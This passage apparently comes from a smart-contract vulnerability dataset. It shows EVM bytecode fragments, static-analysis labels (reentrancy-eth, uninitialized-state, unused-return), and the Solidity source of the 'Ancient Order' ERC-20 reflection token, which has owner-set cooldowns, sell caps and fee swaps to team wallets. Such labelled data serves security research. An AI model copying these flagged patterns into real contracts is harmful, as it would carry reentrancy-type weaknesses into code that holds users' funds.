ffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e7461152c565b84846116ff565b6001905092915050565b60088054610e9290612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe90612225565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061249e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611534565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906124d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906124d3565b6040518363ffffffff1660e01b81526004016111b5929190612500565b6020604051808303816000875af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906124d3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128130610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112c99695949392919061256e565b60606040518083038185885af11580156112e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130c91906125e4565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d0929190612637565b6020604051808303816000875af11580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061268c565b5050565b6007805461142490612225565b80601f016020809104026020016040519081016040528092919081815260200182805461145090612225565b801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b9061272b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b906127bd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f29190611e0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117669061284f565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117cd57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118715750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cc57600960009054906101000a900460ff16806119345750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061198c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c2906128e1565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611a345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ac257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611acb57600080fd5b611ad6838383611d3c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390612973565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bef91906123fc565b92505081905550436004600b54611c0691906123fc565b118015611c605750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611cd0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cc39190612993565b60405180910390a3611d36565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2d9190611e0c565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8082611d55565b9050919050565b611d9081611d75565b8114611d9b57600080fd5b50565b600081359050611dad81611d87565b92915050565b60008060408385031215611dca57611dc9611d4b565b5b6000611dd885828601611d9e565b9250506020611de985828601611d9e565b9150509250929050565b6000819050919050565b611e0681611df3565b82525050565b6000602082019050611e216000830184611dfd565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b611eeb81611df3565b8114611ef657600080fd5b50565b600081359050611f0881611ee2565b92915050565b60008060408385031215611f2557611f24611d4b565b5b6000611f3385828601611d9e565b9250506020611f4485828601611ef9565b9150509250929050565b60008115159050919050565b611f6381611f4e565b82525050565b6000602082019050611f7e6000830184611f5a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611fc182611e76565b810181811067ffffffffffffffff82111715611fe057611fdf611f89565b5b80604052505050565b6000611ff3611d41565b9050611fff8282611fb8565b919050565b600067ffffffffffffffff82111561201f5761201e611f89565b5b602082029050602081019050919050565b600080fd5b600061204861204384612004565b611fe9565b9050808382526020820190506020840283018581111561206b5761206a612030565b5b835b8181101561209457806120808882611d9e565b84526020840193505060208101905061206d565b5050509392505050565b600082601f8301126120b3576120b2611f84565b5b81356120c3848260208601612035565b91505092915050565b6000602082840312156120e2576120e1611d4b565b5b600082013567ffffffffffffffff811115612100576120ff611d50565b5b61210c8482850161209e565b91505092915050565b60008060006060848603121561212e5761212d611d4b565b5b600061213c86828701611d9e565b935050602061214d86828701611d9e565b925050604061215e86828701611ef9565b9150509250925092565b600060ff82169050919050565b61217e81612168565b82525050565b60006020820190506121996000830184612175565b92915050565b6000602082840312156121b5576121b4611d4b565b5b60006121c384828501611d9e565b91505092915050565b6121d581611d75565b82525050565b60006020820190506121f060008301846121cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223d57607f821691505b60208210811415612251576122506121f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c082611df3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122f3576122f2612286565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061235a602883611e32565b9150612365826122fe565b604082019050919050565b600060208201905081810360008301526123898161234d565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006123c6601f83611e32565b91506123d182612390565b602082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b600061240782611df3565b915061241283611df3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561244757612446612286565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612488601783611e32565b915061249382612452565b602082019050919050565b600060208201905081810360008301526124b78161247b565b9050919050565b6000815190506124cd81611d87565b92915050565b6000602082840312156124e9576124e8611d4b565b5b60006124f7848285016124be565b91505092915050565b600060408201905061251560008301856121cc565b61252260208301846121cc565b9392505050565b6000819050919050565b6000819050919050565b600061255861255361254e84612529565b612533565b611df3565b9050919050565b6125688161253d565b82525050565b600060c08201905061258360008301896121cc565b6125906020830188611dfd565b61259d604083018761255f565b6125aa606083018661255f565b6125b760808301856121cc565b6125c460a0830184611dfd565b979650505050505050565b6000815190506125de81611ee2565b92915050565b6000806000606084860312156125fd576125fc611d4b565b5b600061260b868287016125cf565b935050602061261c868287016125cf565b925050604061262d868287016125cf565b9150509250925092565b600060408201905061264c60008301856121cc565b6126596020830184611dfd565b9392505050565b61266981611f4e565b811461267457600080fd5b50565b60008151905061268681612660565b92915050565b6000602082840312156126a2576126a1611d4b565b5b60006126b084828501612677565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612715602483611e32565b9150612720826126b9565b604082019050919050565b6000602082019050818103600083015261274481612708565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a7602283611e32565b91506127b28261274b565b604082019050919050565b600060208201905081810360008301526127d68161279a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612839602583611e32565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602383611e32565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061295d602683611e32565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b60006020820190506129a8600083018461255f565b9291505056fea2646970667358221220c24d81421ff70010502d0cb9b75203ca60ac57b01d1f4e912126a56048f070a564736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,383
0x16970665a82dcf20aa606b3a7e3f0ea67f2009ca
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ /** Ancient Order ( ANCIENT ) Official links: Website: www.ancientorder.online Twitter: twitter.com/ancientOrderETH */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ANCIENT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 6666666666666 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Ancient Order"; string private constant _symbol = "ANCIENT"; uint8 private constant _decimals = 9; uint256 private _taxFee = 4; uint256 private _teamFee = 6; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private buyCooldownEnabled = false; bool private sellCooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setBuyCooldownEnabled(bool onoff) external onlyOwner() { buyCooldownEnabled = onoff; } function setSellCooldownEnabled(bool onoff) external onlyOwner() { sellCooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Too many tokens."); // to buyer if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && buyCooldownEnabled) { require(tradingOpen, "Trading not yet enabled."); require(cooldown[to] < block.timestamp, "Your transaction cooldown has not expired."); cooldown[to] = block.timestamp + (1 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); // from seller if (!inSwap && from != uniswapV2Pair && tradingOpen) { require(amount <= 1e8 * 10**9); if(sellCooldownEnabled) { require(cooldown[from] < block.timestamp, "Your transaction cooldown has not expired."); cooldown[from] = block.timestamp + (90 seconds); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); buyCooldownEnabled = true; sellCooldownEnabled = true; _maxTxAmount = 5e11 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxAmount(uint256 amount) external onlyOwner() { require(amount > 0, "Amount must be greater than 0"); _maxTxAmount = amount; emit MaxTxAmountUpdated(_maxTxAmount); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function maxTxAmount() public view returns (uint) { return _maxTxAmount; } function sellCooldown() public view returns (bool) { return sellCooldownEnabled; } function buyCooldown() public view returns (bool) { return buyCooldownEnabled; } }
0x6080604052600436106101395760003560e01c80638c0b5e22116100ab578063c3c8cd801161006f578063c3c8cd8014610411578063c9567bf914610428578063d543dbeb1461043f578063dd62ed3e14610468578063e8078d94146104a5578063ec28438a146104bc57610140565b80638c0b5e221461032a5780638da5cb5b1461035557806395d89b4114610380578063a9059cbb146103ab578063acaf4a80146103e857610140565b8063313ce567116100fd578063313ce5671461024057806356c2c6be1461026b5780636fc3eaec14610294578063704fbfe5146102ab57806370a08231146102d6578063715018a61461031357610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad5780631b2773c2146101d857806323b872dd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104e5565b6040516101679190612e64565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612982565b610522565b6040516101a49190612e49565b60405180910390f35b3480156101b957600080fd5b506101c2610540565b6040516101cf9190613046565b60405180910390f35b3480156101e457600080fd5b506101ed610552565b6040516101fa9190612e49565b60405180910390f35b34801561020f57600080fd5b5061022a60048036038101906102259190612933565b610569565b6040516102379190612e49565b60405180910390f35b34801561024c57600080fd5b50610255610642565b60405161026291906130bb565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d91906129be565b61064b565b005b3480156102a057600080fd5b506102a96106fd565b005b3480156102b757600080fd5b506102c061076f565b6040516102cd9190612e49565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f891906128a5565b610786565b60405161030a9190613046565b60405180910390f35b34801561031f57600080fd5b506103286107d7565b005b34801561033657600080fd5b5061033f61092a565b60405161034c9190613046565b60405180910390f35b34801561036157600080fd5b5061036a610934565b6040516103779190612d7b565b60405180910390f35b34801561038c57600080fd5b5061039561095d565b6040516103a29190612e64565b60405180910390f35b3480156103b757600080fd5b506103d260048036038101906103cd9190612982565b61099a565b6040516103df9190612e49565b60405180910390f35b3480156103f457600080fd5b5061040f600480360381019061040a91906129be565b6109b8565b005b34801561041d57600080fd5b50610426610a6a565b005b34801561043457600080fd5b5061043d610ae4565b005b34801561044b57600080fd5b5061046660048036038101906104619190612a10565b610b96565b005b34801561047457600080fd5b5061048f600480360381019061048a91906128f7565b610ce0565b60405161049c9190613046565b60405180910390f35b3480156104b157600080fd5b506104ba610d67565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612a10565b6112aa565b005b60606040518060400160405280600d81526020017f416e6369656e74204f7264657200000000000000000000000000000000000000815250905090565b600061053661052f6113c5565b84846113cd565b6001905092915050565b60006901696695dbd1a46e2400905090565b6000601060179054906101000a900460ff16905090565b6000610576848484611598565b610637846105826113c5565b610632856040518060600160405280602881526020016136fd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e86113c5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6113cd565b600190509392505050565b60006009905090565b6106536113c5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d790612f66565b60405180910390fd5b80601060166101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073e6113c5565b73ffffffffffffffffffffffffffffffffffffffff161461075e57600080fd5b600047905061076c81611c97565b50565b6000601060169054906101000a900460ff16905090565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107df6113c5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612f66565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000601154905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f414e4349454e5400000000000000000000000000000000000000000000000000815250905090565b60006109ae6109a76113c5565b8484611598565b6001905092915050565b6109c06113c5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4490612f66565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aab6113c5565b73ffffffffffffffffffffffffffffffffffffffff1614610acb57600080fd5b6000610ad630610786565b9050610ae181611e00565b50565b610aec6113c5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7090612f66565b60405180910390fd5b6001601060146101000a81548160ff021916908315150217905550565b610b9e6113c5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2290612f66565b60405180910390fd5b60008111610c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6590612f06565b60405180910390fd5b610c9e6064610c90836901696695dbd1a46e24006120fa90919063ffffffff